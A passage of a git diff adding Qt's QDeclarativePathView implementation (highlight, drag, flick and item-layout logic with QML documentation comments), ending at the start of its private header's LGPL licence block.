+void QDeclarativePathView::setHighlight(QDeclarativeComponent *highlight)
+{
+ Q_D(QDeclarativePathView);
+ if (highlight != d->highlightComponent) {
+ d->highlightComponent = highlight;
+ d->createHighlight();
+ d->updateHighlight();
+ emit highlightChanged();
+ }
+}
+
+/*!
+ \qmlproperty Item PathView::highlightItem
+
+ \c highlightItem holds the highlight item, which was created
+ from the \l highlight component.
+
+ \sa highlight
+*/
+QDeclarativeItem *QDeclarativePathView::highlightItem()
+{
+ Q_D(const QDeclarativePathView);
+ return d->highlightItem;
+}
+/*!
+ \qmlproperty real PathView::preferredHighlightBegin
+ \qmlproperty real PathView::preferredHighlightEnd
+ \qmlproperty enumeration PathView::highlightRangeMode
+
+ These properties set the preferred range of the highlight (current item)
+ within the view. The preferred values must be in the range 0.0-1.0.
+
+ If highlightRangeMode is set to \e PathView.NoHighlightRange
+
+ If highlightRangeMode is set to \e PathView.ApplyRange the view will
+ attempt to maintain the highlight within the range, however
+ the highlight can move outside of the range at the ends of the path
+ or due to a mouse interaction.
+
+ If highlightRangeMode is set to \e PathView.StrictlyEnforceRange the highlight will never
+ move outside of the range. This means that the current item will change
+ if a keyboard or mouse action would cause the highlight to move
+ outside of the range.
+
+ Note that this is the correct way to influence where the
+ current item ends up when the view moves. For example, if you want the
+ currently selected item to be in the middle of the path, then set the
+ highlight range to be 0.5,0.5 and highlightRangeMode to PathView.StrictlyEnforceRange.
+ Then, when the path scrolls,
+ the currently selected item will be the item at that position. This also applies to
+ when the currently selected item changes - it will scroll to within the preferred
+ highlight range. Furthermore, the behaviour of the current item index will occur
+ whether or not a highlight exists.
+
+ The default value is \e PathView.StrictlyEnforceRange.
+
+ Note that a valid range requires preferredHighlightEnd to be greater
+ than or equal to preferredHighlightBegin.
+*/
+qreal QDeclarativePathView::preferredHighlightBegin() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->highlightRangeStart;
+}
+
+void QDeclarativePathView::setPreferredHighlightBegin(qreal start)
+{
+ Q_D(QDeclarativePathView);
+ if (d->highlightRangeStart == start || start < 0 || start > 1.0)
+ return;
+ d->highlightRangeStart = start;
+ d->haveHighlightRange = d->highlightRangeMode != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd;
+ refill();
+ emit preferredHighlightBeginChanged();
+}
+
+qreal QDeclarativePathView::preferredHighlightEnd() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->highlightRangeEnd;
+}
+
+void QDeclarativePathView::setPreferredHighlightEnd(qreal end)
+{
+ Q_D(QDeclarativePathView);
+ if (d->highlightRangeEnd == end || end < 0 || end > 1.0)
+ return;
+ d->highlightRangeEnd = end;
+ d->haveHighlightRange = d->highlightRangeMode != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd;
+ refill();
+ emit preferredHighlightEndChanged();
+}
+
+QDeclarativePathView::HighlightRangeMode QDeclarativePathView::highlightRangeMode() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->highlightRangeMode;
+}
+
+void QDeclarativePathView::setHighlightRangeMode(HighlightRangeMode mode)
+{
+ Q_D(QDeclarativePathView);
+ if (d->highlightRangeMode == mode)
+ return;
+ d->highlightRangeMode = mode;
+ d->haveHighlightRange = d->highlightRangeMode != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd;
+ emit highlightRangeModeChanged();
+}
+
+
+/*!
+ \qmlproperty int PathView::highlightMoveDuration
+ This property holds the move animation duration of the highlight delegate.
+
+ If the highlightRangeMode is StrictlyEnforceRange then this property
+ determines the speed that the items move along the path.
+
+ The default value for the duration is 300ms.
+*/
+int QDeclarativePathView::highlightMoveDuration() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->highlightMoveDuration;
+}
+
+void QDeclarativePathView::setHighlightMoveDuration(int duration)
+{
+ Q_D(QDeclarativePathView);
+ if (d->highlightMoveDuration == duration)
+ return;
+ d->highlightMoveDuration = duration;
+ emit highlightMoveDurationChanged();
+}
+
+/*!
+ \qmlproperty real PathView::dragMargin
+ This property holds the maximum distance from the path that initiate mouse dragging.
+
+ By default the path can only be dragged by clicking on an item. If
+ dragMargin is greater than zero, a drag can be initiated by clicking
+ within dragMargin pixels of the path.
+*/
+qreal QDeclarativePathView::dragMargin() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->dragMargin;
+}
+
+void QDeclarativePathView::setDragMargin(qreal dragMargin)
+{
+ Q_D(QDeclarativePathView);
+ if (d->dragMargin == dragMargin)
+ return;
+ d->dragMargin = dragMargin;
+ emit dragMarginChanged();
+}
+
+/*!
+ \qmlproperty real PathView::flickDeceleration
+ This property holds the rate at which a flick will decelerate.
+
+ The default is 100.
+*/
+qreal QDeclarativePathView::flickDeceleration() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->deceleration;
+}
+
+void QDeclarativePathView::setFlickDeceleration(qreal dec)
+{
+ Q_D(QDeclarativePathView);
+ if (d->deceleration == dec)
+ return;
+ d->deceleration = dec;
+ emit flickDecelerationChanged();
+}
+
+/*!
+ \qmlproperty bool PathView::interactive
+
+ A user cannot drag or flick a PathView that is not interactive.
+
+ This property is useful for temporarily disabling flicking. This allows
+ special interaction with PathView's children.
+*/
+bool QDeclarativePathView::isInteractive() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->interactive;
+}
+
+void QDeclarativePathView::setInteractive(bool interactive)
+{
+ Q_D(QDeclarativePathView);
+ if (interactive != d->interactive) {
+ d->interactive = interactive;
+ if (!interactive)
+ d->tl.clear();
+ emit interactiveChanged();
+ }
+}
+
+/*!
+ \qmlproperty bool PathView::moving
+
+ This property holds whether the view is currently moving
+ due to the user either dragging or flicking the view.
+*/
+bool QDeclarativePathView::isMoving() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->moving;
+}
+
+/*!
+ \qmlproperty bool PathView::flicking
+
+ This property holds whether the view is currently moving
+ due to the user flicking the view.
+*/
+bool QDeclarativePathView::isFlicking() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->flicking;
+}
+
+/*!
+ \qmlsignal PathView::onMovementStarted()
+
+ This handler is called when the view begins moving due to user
+ interaction.
+*/
+
+/*!
+ \qmlsignal PathView::onMovementEnded()
+
+ This handler is called when the view stops moving due to user
+ interaction. If a flick was generated, this handler will
+ be triggered once the flick stops. If a flick was not
+ generated, the handler will be triggered when the
+ user stops dragging - i.e. a mouse or touch release.
+*/
+
+/*!
+ \qmlsignal PathView::onFlickStarted()
+
+ This handler is called when the view is flicked. A flick
+ starts from the point that the mouse or touch is released,
+ while still in motion.
+*/
+
+/*!
+ \qmlsignal PathView::onFlickEnded()
+
+ This handler is called when the view stops moving due to a flick.
+*/
+
+/*!
+ \qmlproperty Component PathView::delegate
+
+ The delegate provides a template defining each item instantiated by the view.
+ The index is exposed as an accessible \c index property. Properties of the
+ model are also available depending upon the type of \l {qmlmodels}{Data Model}.
+
+ The number of elements in the delegate has a direct effect on the
+ flicking performance of the view when pathItemCount is specified. If at all possible, place functionality
+ that is not needed for the normal display of the delegate in a \l Loader which
+ can load additional elements when needed.
+
+ Note that the PathView will layout the items based on the size of the root
+ item in the delegate.
+
+ Here is an example delegate:
+ \snippet doc/src/snippets/declarative/pathview/pathview.qml 1
+*/
+QDeclarativeComponent *QDeclarativePathView::delegate() const
+{
+ Q_D(const QDeclarativePathView);
+ if (d->model) {
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))
+ return dataModel->delegate();
+ }
+
+ return 0;
+}
+
+void QDeclarativePathView::setDelegate(QDeclarativeComponent *delegate)
+{
+ Q_D(QDeclarativePathView);
+ if (delegate == this->delegate())
+ return;
+ if (!d->ownModel) {
+ d->model = new QDeclarativeVisualDataModel(qmlContext(this));
+ d->ownModel = true;
+ }
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model)) {
+ int oldCount = dataModel->count();
+ dataModel->setDelegate(delegate);
+ d->modelCount = dataModel->count();
+ d->regenerate();
+ if (oldCount != dataModel->count())
+ emit countChanged();
+ emit delegateChanged();
+ }
+}
+
+/*!
+ \qmlproperty int PathView::pathItemCount
+ This property holds the number of items visible on the path at any one time.
+*/
+int QDeclarativePathView::pathItemCount() const
+{
+ Q_D(const QDeclarativePathView);
+ return d->pathItems;
+}
+
+void QDeclarativePathView::setPathItemCount(int i)
+{
+ Q_D(QDeclarativePathView);
+ if (i == d->pathItems)
+ return;
+ if (i < 1)
+ i = 1;
+ d->pathItems = i;
+ d->updateMappedRange();
+ if (d->isValid() && isComponentComplete()) {
+ d->regenerate();
+ }
+ emit pathItemCountChanged();
+}
+
+QPointF QDeclarativePathViewPrivate::pointNear(const QPointF &point, qreal *nearPercent) const
+{
+ //XXX maybe do recursively at increasing resolution.
+ qreal mindist = 1e10; // big number
+ QPointF nearPoint = path->pointAt(0);
+ qreal nearPc = 0;
+ for (qreal i=1; i < 1000; i++) {
+ QPointF pt = path->pointAt(i/1000.0);
+ QPointF diff = pt - point;
+ qreal dist = diff.x()*diff.x() + diff.y()*diff.y();
+ if (dist < mindist) {
+ nearPoint = pt;
+ nearPc = i;
+ mindist = dist;
+ }
+ }
+
+ if (nearPercent)
+ *nearPercent = nearPc / 1000.0;
+
+ return nearPoint;
+}
+
+void QDeclarativePathView::mousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePathView);
+ if (d->interactive) {
+ d->handleMousePressEvent(event);
+ event->accept();
+ } else {
+ QDeclarativeItem::mousePressEvent(event);
+ }
+}
+
+void QDeclarativePathViewPrivate::handleMousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_Q(QDeclarativePathView);
+ if (!interactive || !items.count())
+ return;
+ QPointF scenePoint = q->mapToScene(event->pos());
+ int idx = 0;
+ for (; idx < items.count(); ++idx) {
+ QRectF rect = items.at(idx)->boundingRect();
+ rect = items.at(idx)->mapToScene(rect).boundingRect();
+ if (rect.contains(scenePoint))
+ break;
+ }
+ if (idx == items.count() && dragMargin == 0.) // didn't click on an item
+ return;
+
+ startPoint = pointNear(event->pos(), &startPc);
+ if (idx == items.count()) {
+ qreal distance = qAbs(event->pos().x() - startPoint.x()) + qAbs(event->pos().y() - startPoint.y());
+ if (distance > dragMargin)
+ return;
+ }
+
+ if (tl.isActive() && flicking)
+ stealMouse = true; // If we've been flicked then steal the click.
+ else
+ stealMouse = false;
+
+ lastElapsed = 0;
+ lastDist = 0;
+ QDeclarativeItemPrivate::start(lastPosTime);
+ tl.clear();
+}
+
+void QDeclarativePathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePathView);
+ if (d->interactive) {
+ d->handleMouseMoveEvent(event);
+ if (d->stealMouse)
+ setKeepMouseGrab(true);
+ event->accept();
+ } else {
+ QDeclarativeItem::mouseMoveEvent(event);
+ }
+}
+
+void QDeclarativePathViewPrivate::handleMouseMoveEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_Q(QDeclarativePathView);
+ if (!interactive || !lastPosTime.isValid())
+ return;
+
+ qreal newPc;
+ QPointF pathPoint = pointNear(event->pos(), &newPc);
+ if (!stealMouse) {
+ QPointF delta = pathPoint - startPoint;
+ if (qAbs(delta.x()) > QApplication::startDragDistance() || qAbs(delta.y()) > QApplication::startDragDistance()) {
+ stealMouse = true;
+ startPc = newPc;
+ }
+ }
+
+ if (stealMouse) {
+ moveReason = QDeclarativePathViewPrivate::Mouse;
+ qreal diff = (newPc - startPc)*modelCount*mappedRange;
+ if (diff) {
+ q->setOffset(offset + diff);
+
+ if (diff > modelCount/2)
+ diff -= modelCount;
+ else if (diff < -modelCount/2)
+ diff += modelCount;
+
+ lastElapsed = QDeclarativeItemPrivate::restart(lastPosTime);
+ lastDist = diff;
+ startPc = newPc;
+ }
+ if (!moving) {
+ moving = true;
+ emit q->movingChanged();
+ emit q->movementStarted();
+ }
+ }
+}
+
+void QDeclarativePathView::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePathView);
+ if (d->interactive) {
+ d->handleMouseReleaseEvent(event);
+ event->accept();
+ ungrabMouse();
+ } else {
+ QDeclarativeItem::mouseReleaseEvent(event);
+ }
+}
+
+void QDeclarativePathViewPrivate::handleMouseReleaseEvent(QGraphicsSceneMouseEvent *)
+{
+ Q_Q(QDeclarativePathView);
+ stealMouse = false;
+ q->setKeepMouseGrab(false);
+ if (!interactive || !lastPosTime.isValid())
+ return;
+
+ qreal elapsed = qreal(lastElapsed + QDeclarativeItemPrivate::elapsed(lastPosTime)) / 1000.;
+ qreal velocity = elapsed > 0. ? lastDist / elapsed : 0;
+ if (model && modelCount && qAbs(velocity) > qreal(1.)) {
+ qreal count = pathItems == -1 ? modelCount : pathItems;
+ if (qAbs(velocity) > count * 2) // limit velocity
+ velocity = (velocity > 0 ? count : -count) * 2;
+ // Calculate the distance to be travelled
+ qreal v2 = velocity*velocity;
+ qreal accel = deceleration/10;
+ // + 0.25 to encourage moving at least one item in the flick direction
+ qreal dist = qMin(qreal(modelCount-1), qreal(v2 / (accel * qreal(2.0)) + qreal(0.25)));
+ if (haveHighlightRange && highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange) {
+ // round to nearest item.
+ if (velocity > 0.)
+ dist = qRound(dist + offset) - offset;
+ else
+ dist = qRound(dist - offset) + offset;
+ // Calculate accel required to stop on item boundary
+ if (dist <= 0.) {
+ dist = qreal(0.);
+ accel = qreal(0.);
+ } else {
+ accel = v2 / (2.0f * qAbs(dist));
+ }
+ }
+ offsetAdj = qreal(0.0);
+ moveOffset.setValue(offset);
+ tl.accel(moveOffset, velocity, accel, dist);
+ tl.callback(QDeclarativeTimeLineCallback(&moveOffset, fixOffsetCallback, this));
+ if (!flicking) {
+ flicking = true;
+ emit q->flickingChanged();
+ emit q->flickStarted();
+ }
+ } else {
+ fixOffset();
+ }
+
+ lastPosTime.invalidate();
+ if (!tl.isActive())
+ q->movementEnding();
+}
+
+bool QDeclarativePathView::sendMouseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePathView);
+ QGraphicsSceneMouseEvent mouseEvent(event->type());
+ QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect();
+ QGraphicsScene *s = scene();
+ QDeclarativeItem *grabber = s ? qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem()) : 0;
+ bool stealThisEvent = d->stealMouse;
+ if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab())) {
+ mouseEvent.setAccepted(false);
+ for (int i = 0x1; i <= 0x10; i <<= 1) {
+ if (event->buttons() & i) {
+ Qt::MouseButton button = Qt::MouseButton(i);
+ mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button)));
+ }
+ }
+ mouseEvent.setScenePos(event->scenePos());
+ mouseEvent.setLastScenePos(event->lastScenePos());
+ mouseEvent.setPos(mapFromScene(event->scenePos()));
+ mouseEvent.setLastPos(mapFromScene(event->lastScenePos()));
+
+ switch(mouseEvent.type()) {
+ case QEvent::GraphicsSceneMouseMove:
+ d->handleMouseMoveEvent(&mouseEvent);
+ break;
+ case QEvent::GraphicsSceneMousePress:
+ d->handleMousePressEvent(&mouseEvent);
+ stealThisEvent = d->stealMouse; // Update stealThisEvent in case changed by function call above
+ break;
+ case QEvent::GraphicsSceneMouseRelease:
+ d->handleMouseReleaseEvent(&mouseEvent);
+ break;
+ default:
+ break;
+ }
+ grabber = qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem());
+ if (grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this)
+ grabMouse();
+
+ return d->stealMouse;
+ } else if (d->lastPosTime.isValid()) {
+ d->lastPosTime.invalidate();
+ }
+ if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease)
+ d->stealMouse = false;
+ return false;
+}
+
+bool QDeclarativePathView::sceneEventFilter(QGraphicsItem *i, QEvent *e)
+{
+ Q_D(QDeclarativePathView);
+ if (!isVisible() || !d->interactive)
+ return QDeclarativeItem::sceneEventFilter(i, e);
+
+ switch (e->type()) {
+ case QEvent::GraphicsSceneMousePress:
+ case QEvent::GraphicsSceneMouseMove:
+ case QEvent::GraphicsSceneMouseRelease:
+ return sendMouseEvent(static_cast<QGraphicsSceneMouseEvent *>(e));
+ default:
+ break;
+ }
+
+ return QDeclarativeItem::sceneEventFilter(i, e);
+}
+
+bool QDeclarativePathView::event(QEvent *event)
+{
+ if (event->type() == QEvent::User) {
+ refill();
+ return true;
+ }
+
+ return QDeclarativeItem::event(event);
+}
+
+void QDeclarativePathView::componentComplete()
+{
+ Q_D(QDeclarativePathView);
+ QDeclarativeItem::componentComplete();
+ d->createHighlight();
+ // It is possible that a refill has already happended to to Path
+ // bindings being handled in the componentComplete(). If so
+ // don't do it again.
+ if (d->items.count() == 0 && d->model) {
+ d->modelCount = d->model->count();
+ d->regenerate();
+ }
+ d->updateHighlight();
+}
+
+void QDeclarativePathView::refill()
+{
+ Q_D(QDeclarativePathView);
+ if (!d->isValid() || !isComponentComplete())
+ return;
+
+ d->layoutScheduled = false;
+ bool currentVisible = false;
+
+ // first move existing items and remove items off path
+ int idx = d->firstIndex;
+ QList<QDeclarativeItem*>::iterator it = d->items.begin();
+ while (it != d->items.end()) {
+ qreal pos = d->positionOfIndex(idx);
+ QDeclarativeItem *item = *it;
+ if (pos >= 0.0) {
+ d->updateItem(item, pos);
+ if (idx == d->currentIndex) {
+ currentVisible = true;
+ d->currentItemOffset = pos;
+ }
+ ++it;
+ } else {
+// qDebug() << "release";
+ d->updateItem(item, 1.0);
+ d->releaseItem(item);
+ if (it == d->items.begin()) {
+ if (++d->firstIndex >= d->modelCount)
+ d->firstIndex = 0;
+ }
+ it = d->items.erase(it);
+ }
+ ++idx;
+ if (idx >= d->modelCount)
+ idx = 0;
+ }
+ if (!d->items.count())
+ d->firstIndex = -1;
+
+ if (d->modelCount) {
+ // add items to beginning and end
+ int count = d->pathItems == -1 ? d->modelCount : qMin(d->pathItems, d->modelCount);
+ if (d->items.count() < count) {
+ int idx = qRound(d->modelCount - d->offset) % d->modelCount;
+ qreal startPos = 0.0;
+ if (d->haveHighlightRange && d->highlightRangeMode != QDeclarativePathView::NoHighlightRange)
+ startPos = d->highlightRangeStart;
+ if (d->firstIndex >= 0) {
+ startPos = d->positionOfIndex(d->firstIndex);
+ idx = (d->firstIndex + d->items.count()) % d->modelCount;
+ }
+ qreal pos = d->positionOfIndex(idx);
+ while ((pos > startPos || !d->items.count()) && d->items.count() < count) {
+ // qDebug() << "append" << idx;
+ QDeclarativeItem *item = d->getItem(idx);
+ if (d->model->completePending())
+ item->setZValue(idx+1);
+ if (d->currentIndex == idx) {
+ item->setFocus(true);
+ if (QDeclarativePathViewAttached *att = d->attached(item))
+ att->setIsCurrentItem(true);
+ currentVisible = true;
+ d->currentItemOffset = pos;
+ d->currentItem = item;
+ }
+ if (d->items.count() == 0)
+ d->firstIndex = idx;
+ d->items.append(item);
+ d->updateItem(item, pos);
+ if (d->model->completePending())
+ d->model->completeItem();
+ ++idx;
+ if (idx >= d->modelCount)
+ idx = 0;
+ pos = d->positionOfIndex(idx);
+ }
+
+ idx = d->firstIndex - 1;
+ if (idx < 0)
+ idx = d->modelCount - 1;
+ pos = d->positionOfIndex(idx);
+ while (pos >= 0.0 && pos < startPos) {
+ // qDebug() << "prepend" << idx;
+ QDeclarativeItem *item = d->getItem(idx);
+ if (d->model->completePending())
+ item->setZValue(idx+1);
+ if (d->currentIndex == idx) {
+ item->setFocus(true);
+ if (QDeclarativePathViewAttached *att = d->attached(item))
+ att->setIsCurrentItem(true);
+ currentVisible = true;
+ d->currentItemOffset = pos;
+ d->currentItem = item;
+ }
+ d->items.prepend(item);
+ d->updateItem(item, pos);
+ if (d->model->completePending())
+ d->model->completeItem();
+ d->firstIndex = idx;
+ idx = d->firstIndex - 1;
+ if (idx < 0)
+ idx = d->modelCount - 1;
+ pos = d->positionOfIndex(idx);
+ }
+ }
+ }
+
+ if (!currentVisible)
+ d->currentItemOffset = 1.0;
+
+ if (d->highlightItem && d->haveHighlightRange && d->highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange) {
+ d->updateItem(d->highlightItem, d->highlightRangeStart);
+ if (QDeclarativePathViewAttached *att = d->attached(d->highlightItem))
+ att->setOnPath(true);
+ } else if (d->highlightItem && d->moveReason != QDeclarativePathViewPrivate::SetIndex) {
+ d->updateItem(d->highlightItem, d->currentItemOffset);
+ if (QDeclarativePathViewAttached *att = d->attached(d->highlightItem))
+ att->setOnPath(currentVisible);
+ }
+ while (d->itemCache.count())
+ d->releaseItem(d->itemCache.takeLast());
+}
+
+void QDeclarativePathView::itemsInserted(int modelIndex, int count)
+{
+ //XXX support animated insertion
+ Q_D(QDeclarativePathView);
+ if (!d->isValid() || !isComponentComplete())
+ return;
+
+ if (d->modelCount) {
+ d->itemCache += d->items;
+ d->items.clear();
+ if (modelIndex <= d->currentIndex) {
+ d->currentIndex += count;
+ emit currentIndexChanged();
+ } else if (d->offset != 0) {
+ d->offset += count;
+ d->offsetAdj += count;
+ }
+ }
+ d->modelCount += count;
+ if (d->flicking || d->moving) {
+ d->regenerate();
+ d->updateCurrent();
+ } else {
+ d->firstIndex = -1;
+ d->updateMappedRange();
+ d->scheduleLayout();
+ }
+ emit countChanged();
+}
+
+void QDeclarativePathView::itemsRemoved(int modelIndex, int count)
+{
+ //XXX support animated removal
+ Q_D(QDeclarativePathView);
+ if (!d->model || !d->modelCount || !d->model->isValid() || !d->path || !isComponentComplete())
+ return;
+
+ // fix current
+ bool currentChanged = false;
+ if (d->currentIndex >= modelIndex + count) {
+ d->currentIndex -= count;
+ currentChanged = true;
+ } else if (d->currentIndex >= modelIndex && d->currentIndex < modelIndex + count) {
+ // current item has been removed.
+ d->currentIndex = qMin(modelIndex, d->modelCount-count-1);
+ if (d->currentItem) {
+ if (QDeclarativePathViewAttached *att = d->attached(d->currentItem))
+ att->setIsCurrentItem(true);
+ }
+ currentChanged = true;
+ }
+
+ d->itemCache += d->items;
+ d->items.clear();
+
+ bool changedOffset = false;
+ if (modelIndex > d->currentIndex) {
+ if (d->offset >= count) {
+ changedOffset = true;
+ d->offset -= count;
+ d->offsetAdj -= count;
+ }
+ }
+
+ d->modelCount -= count;
+ if (!d->modelCount) {
+ while (d->itemCache.count())
+ d->releaseItem(d->itemCache.takeLast());
+ d->offset = 0;
+ changedOffset = true;
+ d->tl.reset(d->moveOffset);
+ update();
+ } else {
+ d->regenerate();
+ d->updateCurrent();
+ if (!d->flicking && !d->moving && d->haveHighlightRange && d->highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange)
+ d->snapToCurrent();
+ }
+ if (changedOffset)
+ emit offsetChanged();
+ if (currentChanged)
+ emit currentIndexChanged();
+ emit countChanged();
+}
+
+void QDeclarativePathView::itemsMoved(int /*from*/, int /*to*/, int /*count*/)
+{
+ Q_D(QDeclarativePathView);
+ if (!d->isValid() || !isComponentComplete())
+ return;
+
+ QList<QDeclarativeItem *> removedItems = d->items;
+ d->items.clear();
+ d->regenerate();
+ while (removedItems.count())
+ d->releaseItem(removedItems.takeLast());
+
+ // Fix current index
+ if (d->currentIndex >= 0 && d->currentItem) {
+ int oldCurrent = d->currentIndex;
+ d->currentIndex = d->model->indexOf(d->currentItem, this);
+ if (oldCurrent != d->currentIndex)
+ emit currentIndexChanged();
+ }
+ d->updateCurrent();
+}
+
+void QDeclarativePathView::modelReset()
+{
+ Q_D(QDeclarativePathView);
+ d->modelCount = d->model->count();
+ d->regenerate();
+ emit countChanged();
+}
+
+void QDeclarativePathView::createdItem(int index, QDeclarativeItem *item)
+{
+ Q_D(QDeclarativePathView);
+ if (d->requestedIndex != index) {
+ if (!d->attType) {
+ // pre-create one metatype to share with all attached objects
+ d->attType = new QDeclarativeOpenMetaObjectType(&QDeclarativePathViewAttached::staticMetaObject, qmlEngine(this));
+ foreach(const QString &attr, d->path->attributes())
+ d->attType->createProperty(attr.toUtf8());
+ }
+ qPathViewAttachedType = d->attType;
+ QDeclarativePathViewAttached *att = static_cast<QDeclarativePathViewAttached *>(qmlAttachedPropertiesObject<QDeclarativePathView>(item));
+ qPathViewAttachedType = 0;
+ if (att) {
+ att->m_view = this;
+ att->setOnPath(false);
+ }
+ item->setParentItem(this);
+ d->updateItem(item, index < d->firstIndex ? qreal(0.0) : qreal(1.0));
+ }
+}
+
+void QDeclarativePathView::destroyingItem(QDeclarativeItem *item)
+{
+ Q_UNUSED(item);
+}
+
+void QDeclarativePathView::ticked()
+{
+ Q_D(QDeclarativePathView);
+ d->updateCurrent();
+}
+
+void QDeclarativePathView::movementEnding()
+{
+ Q_D(QDeclarativePathView);
+ if (d->flicking) {
+ d->flicking = false;
+ emit flickingChanged();
+ emit flickEnded();
+ }
+ if (d->moving && !d->stealMouse) {
+ d->moving = false;
+ emit movingChanged();
+ emit movementEnded();
+ }
+}
+
+// find the item closest to the snap position
+int QDeclarativePathViewPrivate::calcCurrentIndex()
+{
+ int current = -1;
+ if (modelCount && model && items.count()) {
+ offset = qmlMod(offset, modelCount);
+ if (offset < 0)
+ offset += modelCount;
+ current = qRound(qAbs(qmlMod(modelCount - offset, modelCount)));
+ current = current % modelCount;
+ }
+
+ return current;
+}
+
+void QDeclarativePathViewPrivate::updateCurrent()
+{
+ Q_Q(QDeclarativePathView);
+ if (moveReason != Mouse)
+ return;
+ if (!modelCount || !haveHighlightRange || highlightRangeMode != QDeclarativePathView::StrictlyEnforceRange)
+ return;
+
+ int idx = calcCurrentIndex();
+ if (model && idx != currentIndex) {
+ int itemIndex = (currentIndex - firstIndex + modelCount) % modelCount;
+ if (itemIndex < items.count()) {
+ if (QDeclarativeItem *item = items.at(itemIndex)) {
+ if (QDeclarativePathViewAttached *att = attached(item))
+ att->setIsCurrentItem(false);
+ }
+ }
+ currentIndex = idx;
+ currentItem = 0;
+ itemIndex = (idx - firstIndex + modelCount) % modelCount;
+ if (itemIndex < items.count()) {
+ currentItem = items.at(itemIndex);
+ currentItem->setFocus(true);
+ if (QDeclarativePathViewAttached *att = attached(currentItem))
+ att->setIsCurrentItem(true);
+ }
+ emit q->currentIndexChanged();
+ }
+}
+
+void QDeclarativePathViewPrivate::fixOffsetCallback(void *d)
+{
+ ((QDeclarativePathViewPrivate *)d)->fixOffset();
+}
+
+void QDeclarativePathViewPrivate::fixOffset()
+{
+ Q_Q(QDeclarativePathView);
+ if (model && items.count()) {
+ if (haveHighlightRange && highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange) {
+ int curr = calcCurrentIndex();
+ if (curr != currentIndex)
+ q->setCurrentIndex(curr);
+ else
+ snapToCurrent();
+ }
+ }
+}
+
+void QDeclarativePathViewPrivate::snapToCurrent()
+{
+ if (!model || modelCount <= 0)
+ return;
+
+ qreal targetOffset = qmlMod(modelCount - currentIndex, modelCount);
+
+ moveReason = Other;
+ offsetAdj = 0.0;
+ tl.reset(moveOffset);
+ moveOffset.setValue(offset);
+
+ const int duration = highlightMoveDuration;
+
+ if (moveDirection == Positive || (moveDirection == Shortest && targetOffset - offset > modelCount/2)) {
+ qreal distance = modelCount - targetOffset + offset;
+ if (targetOffset > moveOffset) {
+ tl.move(moveOffset, 0.0, QEasingCurve(QEasingCurve::InQuad), int(duration * offset / distance));
+ tl.set(moveOffset, modelCount);
+ tl.move(moveOffset, targetOffset, QEasingCurve(offset == 0.0 ? QEasingCurve::InOutQuad : QEasingCurve::OutQuad), int(duration * (modelCount-targetOffset) / distance));
+ } else {
+ tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), duration);
+ }
+ } else if (moveDirection == Negative || targetOffset - offset <= -modelCount/2) {
+ qreal distance = modelCount - offset + targetOffset;
+ if (targetOffset < moveOffset) {
+ tl.move(moveOffset, modelCount, QEasingCurve(targetOffset == 0 ? QEasingCurve::InOutQuad : QEasingCurve::InQuad), int(duration * (modelCount-offset) / distance));
+ tl.set(moveOffset, 0.0);
+ tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::OutQuad), int(duration * targetOffset / distance));
+ } else {
+ tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), duration);
+ }
+ } else {
+ tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), duration);
+ }
+ moveDirection = Shortest;
+}
+
+QDeclarativePathViewAttached *QDeclarativePathView::qmlAttachedProperties(QObject *obj)
+{
+ return new QDeclarativePathViewAttached(obj);
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p.h
new file mode 100644
index 00000000..88ef68b0
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepathview_p.h
@@ -0,0 +1,252 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
